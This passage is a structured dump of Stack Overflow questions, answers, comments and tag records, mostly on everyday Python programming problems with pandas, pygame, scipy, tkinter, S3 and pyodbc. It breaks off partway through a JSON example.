type: Comment
comment on: http://stackoverflow.com/a/47261449
has text: Yes! `lit` will just act as another column with a unique value.
score: 0

http://stackoverflow.com/a/47280180
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47280122
downvote count: 0
has body: You can use a regular expression to search for two or more comma's and replace them with one comma. result = re.sub(&quot;,,+&quot;, &quot;,&quot;, string, 0, re.IGNORECASE | re.VERBOSE | re.MULTILINE) ,,+ Options: Case insensitive; Free-spacing; Dot doesn't match line breaks; ^$ match at line breaks; Regex syntax only Match the character “,” literally «,» Match the character “,” literally «,+» Between one and unlimited times, as many times as possible, giving back as needed (greedy) «+»
type: Answer

http://stackoverflow.com/comment/81523181
has text: oh ya, i'ts work, thank you @saghe Achraf but i added df = pd.DataFrame(np.random.randn(100, 2)) from a reference. do you know what function (100, 2)?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47284110
type: AnswerComment

http://stackoverflow.com/comment/81631750
has text: Change `def collectProcessData()` to `def collectProcessData(self)`
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47339403
type: Comment

http://stackoverflow.com/q/47369004
has title: Pygame Player Sprite Error: name 'Player' is not defined
accepted answer: http://stackoverflow.com/a/47370565
has comment: http://stackoverflow.com/comment/81692051
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81691990
upvote count: 1
duplicate of: http://stackoverflow.com/q/22187279
downvote count: 1
has body: I have two files: sprites.py and test.py. In sprites.py, I made a Player class. I imported everything into the main file (test.py) using from player import *. sprites.py: import pygame from test import * class Player(pygame.sprite.Sprite): # ... pass test.py: import pygame from sprites import * # ... all_sprites = pygame.sprite.Group() player = Player() # &lt;-- line 28, NameError all_sprites.add(player) I get this error: Traceback (most recent call last): File "test.py", line 2, in &lt;module&gt; from sprites import * File "C:\Users\Adam\Desktop\PYthon Test\sprites.py", line 2, in &lt;module&gt; from test import * File "C:\Users\Adam\Desktop\PYthon Test\test.py", line 28, in &lt;module&gt; player = Player() NameError: name 'Player' is not defined I have already ensured that I have everything spelt correctly. Where could this error be coming from?
type: Question
has comment: http://stackoverflow.com/comment/81692688
has comment: http://stackoverflow.com/comment/81693281
has comment: http://stackoverflow.com/comment/81693197
has comment: http://stackoverflow.com/comment/81693336
has comment: http://stackoverflow.com/comment/81692591
has comment: http://stackoverflow.com/comment/81693775
has answer: http://stackoverflow.com/a/47370565
has comment: http://stackoverflow.com/comment/81693687
tagged with: python
tagged with: pygame
has comment: http://stackoverflow.com/comment/81693738
has comment: http://stackoverflow.com/comment/81692958
tagged with: game-development
has comment: http://stackoverflow.com/comment/81692640
favorite count: 0
tagged with: class
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/22187279
has comment: http://stackoverflow.com/comment/81692418

http://stackoverflow.com/comment/81620469
has text: I assume all the order arguments after `args2` are optional.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47334583

http://stackoverflow.com/comment/81692835
type: Comment
score: 0
type: AnswerComment
has text: I do not know if I am going to, it feels like I would be spamming StackOverflow too much with a partly duplicate question because it looks a lot like this one. I do not know if that would be in compliance with the rules/guidelines of StackOverflow.
comment on: http://stackoverflow.com/a/47368756

http://stackoverflow.com/q/47241675
type: AnsweredQuestion
upvote count: 0
accepted answer: http://stackoverflow.com/a/47245389
answer count: 1
tagged with: web-scraping
has answer: http://stackoverflow.com/a/47245389
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has body: I'm getting the error: yelp_soup is not defined when writting scraper script I don't know why, this is code copied from the udemy course, but it works for them. Why is that? this is link to the github from where I copied it as a last resort but not working: https://github.com/codingforentrepreneurs/30-Days-of-Python/blob/master/Day%2021%20-%2023/scrape/code/scape.py Any suggestions? I tried few ideas but nothing changed it?
tagged with: yelp
has title: Getting ... yelp_soup is not defined when writting scraper script
tagged with: python
score: -1

static-libraries
tag name: static-libraries
tags question: http://stackoverflow.com/q/47377338
type: Tag

http://stackoverflow.com/q/47323948
answer count: 0
has body: I am trying to run a pretrained model for which i need to install tensorflow 1.1. I made a conda environment successfully and also installed tensorflow 1.1 using the command pip install tensorflow_gpu==1.1 But it raises an exception Exception: Traceback (most recent call last): File "/usr/local/anaconda3/lib/python3.6/site-packages/pip/basecommand.py", line 215, in main status = self.run(options, args) File "/usr/local/anaconda3/lib/python3.6/site-packages/pip/commands/install.py", line 342, in run prefix=options.prefix_path, File "/usr/local/anaconda3/lib/python3.6/site-packages/pip/req/req_set.py", line 784, in install **kwargs File "/usr/local/anaconda3/lib/python3.6/site-packages/pip/req/req_install.py", line 851, in install self.move_wheel_files(self.source_dir, root=root, prefix=prefix) File "/usr/local/anaconda3/lib/python3.6/site-packages/pip/req/req_install.py", line 1064, in move_wheel_files isolated=self.isolated, File "/usr/local/anaconda3/lib/python3.6/site-packages/pip/wheel.py", line 345, in move_wheel_files clobber(source, lib_dir, True) File "/usr/local/anaconda3/lib/python3.6/site-packages/pip/wheel.py", line 323, in clobber shutil.copyfile(srcfile, destfile) File "/usr/local/anaconda3/lib/python3.6/shutil.py", line 115, in copyfile with open(dst, 'wb') as fdst: PermissionError: [Errno 13] Permission denied: '/usr/local/anaconda3/lib/python3.6/site-packages/protobuf-3.4.0-py3.6-nspkg.pth' When i try to test the tensorflow it gives the following error import tensorflow as tf Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; ModuleNotFoundError: No module named 'tensorflow' I also tried to set the path thinking it might be getting installed in the default conda instead of the desired environment my path is as follows /home/awahid/.conda/envs/mask-rcnn but no avail.
has comment: http://stackoverflow.com/comment/81599361
has title: Realted to linux
tagged with: tensorflow
type: Question
tagged with: linux
linked to: http://stackoverflow.com/q/20994716
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81598697
has comment: http://stackoverflow.com/comment/81599923
score: 0

http://stackoverflow.com/q/47227065
has answer: http://stackoverflow.com/a/75449289
has comment: http://stackoverflow.com/comment/81480777
upvote count: 2
has comment: http://stackoverflow.com/comment/89200901
has comment: http://stackoverflow.com/comment/81418751
has comment: http://stackoverflow.com/comment/81480512
answer count: 1
downvote count: 0
tagged with: directory
has comment: http://stackoverflow.com/comment/81418805
has comment: http://stackoverflow.com/comment/133186903
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/19293317
has comment: http://stackoverflow.com/comment/81472666
has title: python how to find out if a directory is writable
has comment: http://stackoverflow.com/comment/81481902
type: UnansweredQuestion
has body: I've see this question about how to make a folder writable. But how do I query for write permissions on a folder?!?! On a directory in C:\Program Files\... where I clearly get IOError: [Errno 13] Permission denied every method I tried seems to clearly say ALL GOOD! ... (probably created by Admin; other dirs in Program Files can be written no problem) For instance os.access also says fine. The docs tells me about EAFP and true: When I try to write a dummy file I get the wanted information but actually I'd like to not go that far. On the other hand? How bad is it actually? Vaguely assuming I'd dare to do something like this: import os import uuid def write_dir_test(path): dummypath = os.path.join(path, str(uuid.uuid4())) try: with open(dummypath, 'w'): pass os.remove(dummypath) return True except IOError: return False It "feels" kinda dirty. But actually: Is it? Is there a better way?
has comment: http://stackoverflow.com/comment/133213217
tagged with: windows
has comment: http://stackoverflow.com/comment/81404891
tagged with: python
has comment: http://stackoverflow.com/comment/133179550
linked to: http://stackoverflow.com/q/2113427
has comment: http://stackoverflow.com/comment/81404722
has comment: http://stackoverflow.com/comment/81481459
has comment: http://stackoverflow.com/comment/81404964
score: 2
has comment: http://stackoverflow.com/comment/81404499

http://stackoverflow.com/q/47266292
downvote count: 1
possible better answer: http://stackoverflow.com/a/47266412
favorite count: 0
has comment: http://stackoverflow.com/comment/81483291
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47266412
has title: C Number in Python
score: 0
has answer: http://stackoverflow.com/a/47266414
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/81483721
has body: I'm reviewing some code that utilizes the cytypes library and I'm seeing some new things: print("some_num : %04x" % [a c_uint32 number]) # [] used as placeholder print("another : %01x" % [a c_uint8 number]) print("another1 : %02x" % [a c_uint16 number]) I can tell there's a relationship with the formatting notation using % and the ctype number, but I'm unsure what that is. Any help/pointers to some references would be much appreciated!
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/47266414
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81483371

http://stackoverflow.com/a/47307404
has body: time.sleep(5) is launched before the GUI has time to update, that's why the toplevel only appears after the 5 seconds are over. To correct this, you can add window.update_idletasks() before time.sleep(5) to force the update the display. But, as Bryan Oakley points out in his answer, the GUI is frozen while time.sleep(5) is executed. I guess that your ultimate goal is not to execute time.sleep but some time consuming operation. So, if you do not want to freeze the GUI but do not know how long the execution will take, you can execute your function in a separated thread and check regularly whether it is finished using after: import Tkinter as tk import time import multiprocessing def function(): time.sleep(5) def button_1(): window = tk.Toplevel(master) window.title("info") msg = tk.Message(window, text='running...', width=200) msg.pack() thread = multiprocessing.Process(target=function) thread.start() window.after(1000, check_if_running, thread, window) def check_if_running(thread, window): """Check every second if the function is finished.""" if thread.is_alive(): window.after(1000, check_if_running, thread, window) else: window.destroy() master = tk.Tk() frame = tk.Frame(width=500,height=300) frame.grid() button_one = tk.Button(frame, text ="Launch", command=button_1) button_one.grid(row = 0, column = 0, sticky = "we") master.mainloop()
downvote count: 0
answers question: http://stackoverflow.com/q/47307157
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/a/78961075
answers question: http://stackoverflow.com/q/47242180
type: Answer
has body: Hi WilsonPena and everyone. Yeah you are right. This happens because there are past migrations in dependencies or third-party modules like Django auth, so when you perform your first migration these no longer match, you must delete all migration files of dependencies or third-party modules that are causing the problem, one way to know which ones are causing the problem is to run a migration (which will clearly fail) then enter the migration file that was created and see the names of the dependencies in the array called "dependencies", these will be the ones where you will have to go and delete all their migration files. One way to solve this problem without much research (in case a virtual environment is used) and without going to look for the migration files manually to then delete them is: create a new virtual environment (in case one is used). Of course, before that you should extract the names and versions of the dependencies you are using with pip freeze, you can use "pip freeze > ~/Desktop/requirements.txt" this will create a file that will list the names and versions of your project so that later in your new virtual environment you can run "pip install -r ~/Desktop/requirements.txt" and thus install everything again but with a clean installation. The migration files of modules or third-party dependencies will be removed and you will have the path clear to run your first migration without discrepancies caused by them. Good look!!!
score: 0

http://stackoverflow.com/q/47275957
has title: Invert interpolation to give the variable associated with a desired interpolation function value
tagged with: python
answer count: 4
has body: I am trying to invert an interpolated function using scipy's interpolate function. Let's say I create an interpolated function, import scipy.interpolate as interpolate interpolatedfunction = interpolated.interp1d(xvariable,data,kind='cubic') Is there some function that can find x when I specify a: interpolatedfunction(x) == a In other words, "I want my interpolated function to equal a; what is the value of xvariable such that my function is equal to a?" I appreciate I can do this with some numerical scheme, but is there a more straightforward method? What if the interpolated function is multivalued in xvariable?
tagged with: interpolation
type: AnsweredQuestion
upvote count: 19
has comment: http://stackoverflow.com/comment/81503138
has answer: http://stackoverflow.com/a/61750045
has answer: http://stackoverflow.com/a/47276938
accepted answer: http://stackoverflow.com/a/47276729
downvote count: 0
has comment: http://stackoverflow.com/comment/81503108
score: 19
tagged with: scipy
has answer: http://stackoverflow.com/a/47276729
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/70907761
possible better answer: http://stackoverflow.com/a/47276938

http://stackoverflow.com/a/51890229
score: 1
has body: In my case the error was, assert 1 &lt;= nr &lt;= self.utter_max_rows AssertionError in .xls file in Python. Visit this link to see my answer and do change in sheet.py for MAX-COLUMNS. AssertionError with pandas when reading excel I think you problem will be solved... :)
answers question: http://stackoverflow.com/q/47302367
type: Answer
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47373416
has comment: http://stackoverflow.com/comment/81699457
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81699464
has comment: http://stackoverflow.com/comment/81699538
has title: How to call other data from other module in a user defined function
tagged with: python
has comment: http://stackoverflow.com/comment/81699412
score: 0
has answer: http://stackoverflow.com/a/47373486
has comment: http://stackoverflow.com/comment/81699467
answer count: 1
has body: If I have this data from a module in a user defined function: #gardenA a = ....... b = ....... def moduleA(a,b): (function inside here) and the other module: #gardenB def moduleB(): (function inside here) how can I use only the data a from moduleA inside gardenA to be used again in moduleB from gardenB? I know that we need to import gardenA inside gardenB first, but then how to get the data a? Is it gardenA.moduleA.a?
type: Question
has comment: http://stackoverflow.com/comment/81699446
tagged with: python-3.x

http://stackoverflow.com/comment/81672295
score: 0
comment on: http://stackoverflow.com/q/47359668
type: Comment
has text: by matrix do you mean a display with two dimensions or a data structure shaped like a matrix?
type: QuestionComment

http://stackoverflow.com/q/47260365
tagged with: python
linked to: http://stackoverflow.com/q/35477348
score: 3
duplicate of: http://stackoverflow.com/q/35477348
tagged with: linear-regression
upvote count: 3
tagged with: matplotlib
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/47260423
has body: I am plotting a Linear Regression model using pyplot. Below is my code. plt.scatter(X_train, y_train, color ='red') plt.show() When I plot using the above code, the plot is as shown below: I then plotted the line graph using the code below: plt.plot(X_train, regressor.predict(X_train), color = 'blue') plt.show() It shows a line as expected. But when I try to plot both of them together, the graph is getting messed up as shown below: plt.scatter(X_train, y_train, color ='red') plt.plot(X_train, regressor.predict(X_train), color = 'blue') plt.show() Please let me know if I have to do any extra coding to plot a Linear regression graph properly.
favorite count: 0
type: Question
has title: Weird graph in Linear regression using pyplot
type: UnansweredQuestion
tagged with: machine-learning

http://stackoverflow.com/q/47244198
answer count: 1
downvote count: 0
score: 2
accepted answer: http://stackoverflow.com/a/47244326
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47244326
tagged with: python
tagged with: pygame
tagged with: pygame-surface
favorite count: 0
has title: Pygame: Couldn't open file. Same directory
type: Question
has body: I loaded 150 .tif images to a glob module and am currently unable to load them. I'm very new to programming so I imagine it's a dumb mistake I'm missing but I cant seem to figure it out. The is the code: import pygame, glob types= ('*.tif') artfile_names= [] for files in types: artfile_names.extend(glob.glob(files)) print(artfile_names) for artworks in artfile_names: pygame.image.load(str(artfile_names)) Thank you for any help!
upvote count: 2

http://stackoverflow.com/a/47264013
type: Answer
score: 4
answers question: http://stackoverflow.com/q/47263114
accepted answer of: http://stackoverflow.com/q/47263114
type: AcceptedAnswer
downvote count: 0
has body: I think you need numpy.intersect1d: import itertools #get all combinations of Group values c = list(itertools.combinations(list(set(df['Group'])), 2)) df = df.set_index('Group') #create list of tuples of intersections and lengths L = [] for a, b in c: d = np.intersect1d(df.loc[a], df.loc[b]).tolist() L.append((a,b, len(d), d)) #new DataFrame df = pd.DataFrame(L, columns=['a','b','lens','common']) print (df) a b lens common 0 G2 G4 1 [a1] 1 G2 G1 2 [a1, a2] 2 G2 G3 1 [a1] 3 G2 G5 1 [a1] 4 G4 G1 1 [a1] 5 G4 G3 1 [a1] 6 G4 G5 1 [a1] 7 G1 G3 1 [a1] 8 G1 G5 1 [a1] 9 G3 G5 1 [a1]
upvote count: 4
has comment: http://stackoverflow.com/comment/81478617

http://stackoverflow.com/a/47316673
upvote count: 1
score: 1
has body: Using str.extract df = df.apply(lambda x: ((x.str.extract('(\d+)', expand = False)).astype(int) % 2 != 0).astype(int)) col_1 col_2 0 1 0 1 1 1 2 0 0 3 1 0
answers question: http://stackoverflow.com/q/47316635
type: Answer
has comment: http://stackoverflow.com/comment/81584869
downvote count: 0

http://stackoverflow.com/a/47298921
answers question: http://stackoverflow.com/q/47298798
has comment: http://stackoverflow.com/comment/81626886
downvote count: 0
has comment: http://stackoverflow.com/comment/81552323
accepted answer of: http://stackoverflow.com/q/47298798
type: Answer
score: 9
upvote count: 9
has comment: http://stackoverflow.com/comment/81552449
has body: Directories (folders, subfolders, etc.) do not exist in S3. When you copy this file to an empty S3 bucket /mydir/myfile.txt, only the file myfile.txt is copied to S3. The directory mydir is not created as that string is part of the file name mydir/myfile.txt. The actual file name is the full path, no subdirectories exist or are created. S3 simulates directories by using a prefix when listing files in the bucket. If you specify mydir/, then all of the S3 objects that start with mydir/ will be returned including objects such as mydir/anotherfolder/myotherfile.txt. S3 supports a delimitor such as / so that the appearance of subdirectories can be created. Note: There is no / at the beginning of a file name for S3 objects. Listing Keys Hierarchically Using a Prefix and Delimiter
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81626112
has comment: http://stackoverflow.com/comment/81552581

http://stackoverflow.com/comment/81612763
type: Comment
has text: If you would rather not use eval simply convert them all to floats instead, as long as it is not integral to the program that some are integers, and some are floats, it would have no effect on performance to make them all floats.
comment on: http://stackoverflow.com/a/47330975
score: 0
type: AnswerComment

http://stackoverflow.com/a/47260302
type: Answer
accepted answer of: http://stackoverflow.com/q/47260241
score: 5
type: AcceptedAnswer
downvote count: 0
has body: Use the format function: s = "alpha = 'a'" exec """def my_func({}): return alpha""".format(s)
answers question: http://stackoverflow.com/q/47260241
upvote count: 5

http://stackoverflow.com/comment/81681264
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47364115
type: Comment
has text: yes. It works for me too. I also try to save and read jpg twice. the data in image still changes. so the data loss in jpg is real huge. BTW, the file size of png is mucher smaller than jpg in this case, which is very strange, I guess it is because the data is very small, try to compress it like JPG, will increase the size instead of decresing it which is what the algorithm intend to do .

http://stackoverflow.com/q/47365126
tagged with: tflearn
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81683625
has comment: http://stackoverflow.com/comment/81684036
has title: TFLearn training getting slower with time
score: 0
answer count: 0
has body: I am using this CNN Model to train my Nework. First i initialized it in my train_model.py: model = cnn_model.googlenet(WIDTH, HEIGHT, 3, LR, output=8, model_name=MODEL_NAME) then I define the training loop and inside of that, I placed the model.fit function: model.fit({'input': batch_x}, {'targets': batch_y}, n_epoch=1, snapshot_step=2510, show_metric=True, run_id=MODEL_NAME) for some reason the network slows down with time and after round about 13 hours tf throws an exception: Memory error
tagged with: tensorflow
type: Question

http://stackoverflow.com/q/47257766
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/68580266
duplicate of: http://stackoverflow.com/q/21530577
has answer: http://stackoverflow.com/a/47800072
has comment: http://stackoverflow.com/comment/111986139
tagged with: python
answer count: 4
score: 41
upvote count: 43
has title: Compile Cython Extensions Error - Pycharm IDE
tagged with: compiler-errors
tagged with: pycharm
has answer: http://stackoverflow.com/a/68032772
has body: Non-zero exit code (1): _pydevd_bundle/pydevd_cython.c:13:20: fatal error: Python.h: No such file or directory compilation terminated. error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 Please help me resolve this error of trying to install Cython in PyCharm.
has answer: http://stackoverflow.com/a/61422234
type: UnansweredQuestion
downvote count: 2
linked to: http://stackoverflow.com/q/21530577
tagged with: cython
favorite count: 0

http://stackoverflow.com/comment/81615776
type: AnswerComment
has text: @user3849475 Accept an answer if it helped, thanks. Also, you can upvote all helpful answers.
comment on: http://stackoverflow.com/a/47318759
type: Comment
score: 0

http://stackoverflow.com/a/47381406
has comment: http://stackoverflow.com/comment/81715685
accepted answer of: http://stackoverflow.com/q/47380550
has comment: http://stackoverflow.com/comment/81715751
type: Answer
has comment: http://stackoverflow.com/comment/81716926
answers question: http://stackoverflow.com/q/47380550
has comment: http://stackoverflow.com/comment/81715817
has body: If I understood you clearly, you're looking for a way to dynamically access aXX so you can then use them to perform your computation. What you need is a dictionary. dct = {'00' : a00, '01' : a01, '10' : a10, '11' : a11} c = dct[b[0]] for i in b[1:]: d = dct[i] newcols = {'x' : d.iloc[:, 0].str[0], d.columns[0] : d.iloc[:, 0].str[1:]} m = c.assign(x=c.iloc[:, 0].str[-1]).merge(d.assign(**newcols)) ... # rest of your code You can use b's elements to index into dct and extract the dataframes you need for that iteration.
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/81461500
has text: Please include the error message in your question... and also google the error message.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47255390
score: 0

http://stackoverflow.com/a/47304099
has body: Wow, I feel a bit dumb. But I managed to figure out my problem. After reading the comments my light bulb came on. I made an empty list, and appended each input to the list. To allow for the three separate inputs. updates = [] updates.append(input('Enter the new name: ')) updates.append(input('Enter the new department: ')) updates.append(input('Enter the new Title: ')) I also updated this portion to: Employees[dict_key] = updates And now my output is as follows after updating: ['John Doe', 'IT', 'Manager'] Thank y'all for the feedback! I don't know why I did not think of that earlier.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47303166

http://stackoverflow.com/comment/81453016
has text: What does `crescent order of fitness values` mean? Can you describe that process? Are you expecting `population_d` to retain the order that it was *made*?
type: QuestionComment
comment on: http://stackoverflow.com/q/47250956
score: 0
type: Comment

http://stackoverflow.com/q/47276155
tagged with: pandas
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81503653
downvote count: 2
has answer: http://stackoverflow.com/a/47276266
favorite count: 0
has comment: http://stackoverflow.com/comment/81503515
has body: How is it possible to change multiple columns on subset by some conditions in a pandas dataframe? For example given the input data: import pandas as pd dat = pd.DataFrame({"y": ("441912", "abc", "121", "4455")}) dat['leny'] = dat['y'].str.len() dat['yfoo'] = None dat y leny yfoo 1: 441912 6 NA 2: abc 3 NA 3: 121 3 NA 4: 4455 4 NA Then subset the rows for which y starts with 44 and has a length of 4 or 5, then for those rows strip the 44 from the beginning in y, substract 2 from leny and set yfoo to False, resulting to the following output: y leny yfoo 1: 441912 6 NA 2: abc 3 NA 3: 121 3 NA 4: 55 2 FALSE My attempt at doing this: # pandas struggle follows dat[dat.leny.isin((4, 5)) &amp; dat.y.str.match('^44', na=False)] What do I do next?
has answer: http://stackoverflow.com/a/47277056
has comment: http://stackoverflow.com/comment/81515020
score: -2
has title: subset and change multiple columns with different "functions"
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/81503814
answer count: 2

http://stackoverflow.com/a/47251693
has body: The query outputs a result as a list of dictionaries, so when you unpack it in the for loop, you get only a list of keys "ID_worker" and "surname" . You can change the template like below to access the values : {% for worker in workers0 %} &lt;option value="{{ worker.ID_worker }}"&gt;{{ worker.surname }}&lt;/option&gt; {% endfor %}
type: Answer
answers question: http://stackoverflow.com/q/47251224
score: 2
upvote count: 2
downvote count: 0

mysql
tags question: http://stackoverflow.com/q/47265651
tags question: http://stackoverflow.com/q/47317999
tags question: http://stackoverflow.com/q/47363377
tags question: http://stackoverflow.com/q/47327439
tags question: http://stackoverflow.com/q/47232218
tags question: http://stackoverflow.com/q/47232986
tags question: http://stackoverflow.com/q/47363328
type: Tag
tags question: http://stackoverflow.com/q/47370385
tags question: http://stackoverflow.com/q/47264403
tags question: http://stackoverflow.com/q/47276050
tags question: http://stackoverflow.com/q/47281931
tags question: http://stackoverflow.com/q/47272256
tag name: mysql
tags question: http://stackoverflow.com/q/47260464
tags question: http://stackoverflow.com/q/47229744
tags question: http://stackoverflow.com/q/47245218
tags question: http://stackoverflow.com/q/47374911
tags question: http://stackoverflow.com/q/47346758
tags question: http://stackoverflow.com/q/47236445
tags question: http://stackoverflow.com/q/47256733
tags question: http://stackoverflow.com/q/47329994
tags question: http://stackoverflow.com/q/47367144
tags question: http://stackoverflow.com/q/47330041
tags question: http://stackoverflow.com/q/47361342
tags question: http://stackoverflow.com/q/47315920
tags question: http://stackoverflow.com/q/47358204
tags question: http://stackoverflow.com/q/47296513
tags question: http://stackoverflow.com/q/47328402
tags question: http://stackoverflow.com/q/47265472
tags question: http://stackoverflow.com/q/47314558
tags question: http://stackoverflow.com/q/47257114
tags question: http://stackoverflow.com/q/47296154
tags question: http://stackoverflow.com/q/47362743
tags question: http://stackoverflow.com/q/47357539
tags question: http://stackoverflow.com/q/47262025
tags question: http://stackoverflow.com/q/47233366
tags question: http://stackoverflow.com/q/47352512
tags question: http://stackoverflow.com/q/47310751
tags question: http://stackoverflow.com/q/47258970
tags question: http://stackoverflow.com/q/47346171
tags question: http://stackoverflow.com/q/47291550
tags question: http://stackoverflow.com/q/47361991
tags question: http://stackoverflow.com/q/47302383
tags question: http://stackoverflow.com/q/47319915
tags question: http://stackoverflow.com/q/47285743
tags question: http://stackoverflow.com/q/47318901
tags question: http://stackoverflow.com/q/47360783
tags question: http://stackoverflow.com/q/47275391

eval
tag name: eval
tags question: http://stackoverflow.com/q/47369372
tags question: http://stackoverflow.com/q/47292946
tags question: http://stackoverflow.com/q/47305110
type: Tag
tags question: http://stackoverflow.com/q/47238915

http://stackoverflow.com/comment/81398588
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47224216
has text: Show us the code you use to read the file and extract each value from the CSV.

http://stackoverflow.com/comment/81625141
type: Comment
type: QuestionComment
has text: It's working now, thanks @furas. I can't believe something that simple was causing this problem.
score: 0
comment on: http://stackoverflow.com/q/47331961

http://stackoverflow.com/comment/81465099
type: QuestionComment
score: 0
has text: @roganjosh true but this wasn't really a duplicate. I reopened the "original" one
type: Comment
comment on: http://stackoverflow.com/q/47256935

http://stackoverflow.com/comment/81761725
type: QuestionComment
comment on: http://stackoverflow.com/q/47360783
has text: Jay, Thanks. I will work on this in a couple of hours later. will post a feedback.
score: 0
type: Comment

http://stackoverflow.com/a/49293624
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47296108
has body: I noticed that numpy.savetxt can convert your data to csv with one string column. So, I tried to follow what it does. And I think this is what you want: val = [] for row in k: v = '%s' % tuple(row) val.append(v) If your data is numeric such as float, you can try this: val = np.asarray(k, dtype='float').tolist()
type: Answer
answers question: http://stackoverflow.com/q/47296108
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/81842335
comment on: http://stackoverflow.com/q/47291576
score: 0
type: Comment
type: QuestionComment
has text: @pvg - when I use the command palette or the toolbar to select a Python executable environment, it simply wasn't showing all my Python executables (from `/usr/local/bin`, for example).

http://stackoverflow.com/q/47310244
has comment: http://stackoverflow.com/comment/81579417
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81578324
has comment: http://stackoverflow.com/comment/81572376
has title: pyodbc not committing changes to db2 database
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81572865
tagged with: db2
tagged with: python
tagged with: pyodbc
has comment: http://stackoverflow.com/comment/81572044
accepted answer: http://stackoverflow.com/a/47315844
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/81572374
answer count: 1
has body: I am trying to update my db2 database using pyodbc in python. The sql statement runs normally without errors on the database directly. when I run the code below, I get no errors and the code executes successfully but when I query the database, the changes did not save. try: conn2 = pyodbc.connect("DRIVER={iSeries Access ODBC Driver};SYSTEM="+ Config_Main.iseriesServer +";DATABASE="+ Config_Main.iseriesDB +";UID="+ Config_Main.iseriesUser +";PWD=" + Config_Main.iseriesPass) db2 = conn2.cursor() for row in encludeData: count = len(str(row[2])) srvid = row[2] if count &lt; 10: sql3 = "UPDATE SVCEN2DEV.SRVMAST SET svbrch = ? WHERE svtype != '*DCS-' AND svacct = ? AND svcid LIKE '%?' and svbrch = ?" db2.execute(sql3, (row[4],row[1],"%" + str(srvid),row[5])) else: sql3 = "UPDATE SVCEN2DEV.SRVMAST SET svbrch = ? WHERE svtype != '*DCS-' AND svacct = ? AND svcid = ? and svbrch = ?" db2.execute(sql3, (row[4],row[1],srvid,row[5])) conn2.commit() except pyodbc.Error as e: logging.error(e) I have tried setting conn2.autocommit = True. and I have also tried moving the conn2.commit() inside of the for loop to commit after each iteration. I also tried a different driver {IBM i Access ODBC Driver} EDIT: Sample of encludeData ['4567890001','4567890001','1234567890','1234567890','foo','bar'] After changing the except statement to grab general errors, the code above now produces this error: IntegrityError('23000', '[23000] [IBM][System i Access ODBC Driver][DB2 for i5/OS]SQL0803 - Duplicate key value specified. (-803) (SQLExecDirectW)')
has comment: http://stackoverflow.com/comment/81571672
favorite count: 0
has answer: http://stackoverflow.com/a/47315844
type: Question

http://stackoverflow.com/q/47231436
type: UnansweredQuestion
score: 1
tagged with: permutation
has comment: http://stackoverflow.com/comment/81414545
type: Question
tagged with: http://stackoverflow.com/tag/json
has title: Nested dictionary structure's permutation to List of Dictionary keeping same structure in python
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81413992
favorite count: 0
has body: I have following JSON/Dictionary Structure. { "layers": [{ "type": "fc", "name": "fc1", "nodes": [100, 200], "activation": "relu", "dropout": false }, { "type": "fc", "name": "fc2", "nodes": 50, "activation": ["relu", "tanh"], "dropout": false } ], "hyper_parameters": { "dropout": [0.25, 0.30], "lr": [0.01, 0.002, 0.5], "lr_decay": 1, "epochs": 100, "epoch_no_imprv": 10, "batch_size": 100 } } I want to generate All the permutations of above structure, wherever there is a list, preserving the same structure. so above structure should generate list of 24 such structure. Showing sample 4 structures below. [ { "layers": [{ "type": "fc", "name": "fc1", "nodes": 100, "activation": "relu", "dropout": false }, { "type": "fc", "name": "fc2", "nodes": 50, "activation": "relu", "dropout": false } ], "hyper_parameters": { "dropout": 0.25, "lr": 0.01, "lr_decay": 1, "epochs": 100, "epoch_no_imprv": 10, "batch_size": 100 } }, { "layers": [{ "type": "fc", "name": "fc1", "nodes": 200, "activation": "relu", "dropout": false }, { "type": "fc", "name": "fc2", "nodes": 50, "activation": "relu", "dropout": false } ], "hyper_parameters": { "dropout": 0.25, "lr": 0.01, "lr_decay": 1, "epochs": 100, "epoch_no_imprv": 10, "batch_size": 100 } }, { "layers": [{ "type": "fc", "name": "fc1", "nodes": 100, "activation": "relu", "dropout": false }, { "type": "fc", "name": "fc2", "nodes": 50, "activation": "tanh", "dropout": false } ], "hyper_parameters": { "dropout": 0.25, "lr": 0.01, "lr_decay": 1, "epochs": 100, "epoch_no_imprv": 10, "batch_size": 100 } }, { "layers": [{ "type": "fc", "name": "fc1", "nodes": 200, "activation": "relu", "dropout": false }, { "type": "fc", "name": "fc2", "nodes": 50, "activation": "tanh", "dropout": false } ], "hyper_parameters": { "dropout": 0.25, "lr": 